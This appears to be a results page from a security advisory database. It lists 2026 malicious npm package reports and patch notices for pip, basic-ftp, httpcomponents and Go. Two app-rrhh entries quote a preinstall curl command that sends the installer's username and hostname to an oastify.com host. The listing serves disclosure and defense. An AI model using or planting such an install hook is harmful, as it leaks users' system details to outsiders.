630192 matches found
MAL-2026-16153 Malicious code in web-main (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61680a5d53758bc9eb99b1cd2566e6e19139d09fee10a0096a5e72bb0953a5b2 package.json declares preinstall: node index.js, causing index.js to execute automatically on npm install. The script collects os.hostname, os.userIn...
OESA-2026-3788 python-pip security update
%changelog Thu May 14 2026 markeryang [email protected] - 23.3.1-11 - Fix CVE-2026-3219 Security Fixes: pip would incorrectly handle doubly-encoded package URLs from indexes allowing for files to be installed to arbitrary locations on disk even when installing wheels. This vulnerability requires...
OESA-2026-3786 python-pip security update
%changelog Thu May 14 2026 markeryang [email protected] - 23.3.1-11 - Fix CVE-2026-3219 Security Fixes: pip would incorrectly handle doubly-encoded package URLs from indexes allowing for files to be installed to arbitrary locations on disk even when installing wheels. This vulnerability requires...
OESA-2026-3785 python-pip security update
%changelog Thu May 14 2026 markeryang [email protected] - 23.3.1-11 - Fix CVE-2026-3219 Security Fixes: pip would incorrectly handle doubly-encoded package URLs from indexes allowing for files to be installed to arbitrary locations on disk even when installing wheels. This vulnerability requires...
Malicious code in @aiwfm/communitywfm.scripts.api (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 405cd17e3c682b1341db44361500ea68d80e1758f15387d9971d0af95f0c8a48 The package's preinstall script build.js assembles a remote hostname from split string fragments that resolve to...
MAL-2026-16146 Malicious code in @aiwfm/communitywfm.scripts.api (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 405cd17e3c682b1341db44361500ea68d80e1758f15387d9971d0af95f0c8a48 The package's preinstall script build.js assembles a remote hostname from split string fragments that resolve to...
ROOT-APP-NPM-CVE-2026-27699 CVE-2026-27699 in basic-ftp - Patched by Root
Root has patched CVE-2026-27699 in the basic-ftp package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-GHSA-6V7Q-WJVX-W8WG GHSA-6v7q-wjvx-w8wg in basic-ftp - Patched by Root
Root has patched GHSA-6v7q-wjvx-w8wg in the basic-ftp package for Root:npm. Multiple fixed versions available...
CLSA-2026-1789400657 TuxCare security update for org.apache.httpcomponents (1 CVE)
TuxCare rebuilt 7 org.apache.httpcomponents packages to address 1 CVE. Fixed in 4.5-tuxcare.1...
MAL-2026-16145 Malicious code in concierge-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4de458111994244a0a590117185f9e345ff27043c129d4ea24fcb3be5f98f67b The package's declared postinstall script executes exfilv2.js at npm install time. That script harvests the full process environment, current working...
Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
MAL-2026-16144 Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME
A flaw was found in the net package of Go golang, specifically when using the LookupCNAME function with the cgo DNS resolver. A remote attacker could exploit this by providing a very long Canonical Name CNAME response. This can trigger a double-free of C memory, leading to a crash and a Denial of...
Malicious code in lpulogin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45e20ac78f11be43827182fe0907a1ca21cc0886163235aa9c5aeaae37ce8e88 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in @merazmz/project-tracker (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3c3ed01b550c0abf9d9ab2297215b49b5a3b73dbce21cf0ff2f2b476341c57fd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-16157 Malicious code in @merazmz/project-tracker (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3c3ed01b550c0abf9d9ab2297215b49b5a3b73dbce21cf0ff2f2b476341c57fd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-16161 Malicious code in meraz-project-tracker (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d3081e87039a0a1582330f353797d15ba12cdb1c17828ab2ee7224b7c1ac4809 On npm install, the declared postinstall script bin/postinstall.js runs trackProject, which collects the installer's hostname, OS username,...
MAL-2026-16160 Malicious code in lpulogin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45e20ac78f11be43827182fe0907a1ca21cc0886163235aa9c5aeaae37ce8e88 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-16159 Malicious code in dilxztech (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7330106d003ad893142e55e4be733e0641a98ebbd832d496139197dd6e8e18fd The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in dilxztech (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7330106d003ad893142e55e4be733e0641a98ebbd832d496139197dd6e8e18fd The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...